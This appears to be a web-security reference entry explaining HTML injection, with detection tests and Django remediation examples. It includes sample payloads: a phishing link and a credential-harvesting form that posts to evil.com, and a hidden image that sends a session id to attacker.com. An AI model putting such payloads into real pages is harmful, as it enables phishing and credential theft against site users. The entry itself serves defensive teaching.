Description
HTML injection occurs when user-supplied data is reflected or stored in an application's HTML output without proper encoding, but in a context where the browser's JavaScript engine does not execute the injected content. Unlike Cross-Site Scripting (XSS), HTML injection does not involve script execution — it is limited to injecting structural HTML markup. Despite sharing CWE-79 with XSS, HTML injection is treated as a distinct finding because the absence of script execution limits the impact to visual manipulation and phishing rather than session compromise.
The vulnerability arises when applications encode or strip JavaScript-relevant characters (<script>, event handlers, javascript:) but fail to encode or sanitise basic HTML structural elements such as <a>, <form>, <img>, <iframe>, and <div>. This partial sanitisation creates a class of output that is dangerous in ways the developer did not anticipate.
Under A03:2021 — Injection, the OWASP Top 10 groups HTML injection with XSS as output encoding failures. The root cause is identical — user input rendered as markup rather than text — but the impact assessment and remediation priority differ based on the injection context and what the Content Security Policy permits.
How It Works
Consider a password reset confirmation page that reflects the user-supplied email address without encoding:
GET /reset-confirm?email=victim@example.com
→ <p>A reset link has been sent to victim@example.com</p>
GET /reset-confirm?email=<h1>Your+account+has+been+locked.+<a+href="https://evil.com/login">Click+here+to+unlock</a></h1>
→ <p>A reset link has been sent to <h1>Your account has been locked.
<a href="https://evil.com/login">Click here to unlock</a></h1></p>
The browser renders the injected <h1> and <a> tags normally. A victim who receives a link to this page sees a convincing message on the legitimate domain directing them to an attacker-controlled phishing site.
Form injection is a particularly effective variant:
<!-- Injected via a name field in a public profile -->
</div><form action="https://evil.com/harvest" method="POST">
<p>Session expired. Please re-enter your credentials.</p>
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form><div>
The injected form appears on the legitimate domain, rendering with the site's CSS, and submits credentials directly to the attacker.
Image-based HTML injection can be used to perform zero-interaction SSRF-like attacks or to track victim IP addresses:
<img src="https://attacker.com/track?id=victim_session_id" style="display:none">
Impact
- Phishing within a trusted domain — injected links and forms appear to originate from the legitimate application domain, bypassing browser security indicators and user suspicion.
- Credential harvesting — injected forms can collect usernames and passwords under the guise of a legitimate re-authentication flow.
- Content spoofing — attackers can replace legitimate page content with misleading information, defacing the application or fabricating error messages.
- Clickjacking enablement — injected iframes or overlays can be used to trick users into performing unintended actions.
- Reputation damage — even without direct technical exploitation, a reported HTML injection vulnerability on a security-sensitive application undermines customer trust.
Detection
- Inject basic HTML tags into all input fields — test
<b>test</b>,<i>test</i>, and<h1>test</h1>in every parameter that appears in rendered output. If the text is bold, italic, or larger, the tags are being interpreted. - Test URL parameters and HTTP headers — inject
<a href="https://evil.com">click</a>intoReferer,User-Agent, and any parameter reflected in the page body. - Check stored contexts — HTML injection in stored fields (profile names, comments, addresses) is higher severity than reflected injection because it does not require phishing a link to the victim.
- Verify injection survives encoding — test double-encoding (
%3Ch1%3E) and Unicode variants to identify partial encoding schemes that can be bypassed. - Assess CSP for XSS escalation — inspect the
Content-Security-Policyheader. If absent or configured withunsafe-inline, escalate the finding to XSS and test for script injection.
Remediation
Apply context-aware output encoding. Use your framework's built-in HTML encoding function for every value inserted into HTML context. In most frameworks this is the default template behaviour — the failure is usually manual string concatenation or explicitly marking output as "safe".
# Vulnerable — marks string as safe without encoding
return mark_safe(f"<p>Reset link sent to {email}</p>")
# Secure — Django template auto-escapes by default
return render(request, 'confirm.html', {'email': email})
Implement a Content Security Policy. A CSP with default-src 'self' and without unsafe-inline prevents injected markup from loading external resources or executing inline scripts, significantly limiting the impact of any HTML injection that slips through.
Validate input against expected format. Email addresses, names, and other structured inputs should be validated against a strict pattern. Reject inputs that contain HTML characters (<, >, ", ') that are never valid in those fields.
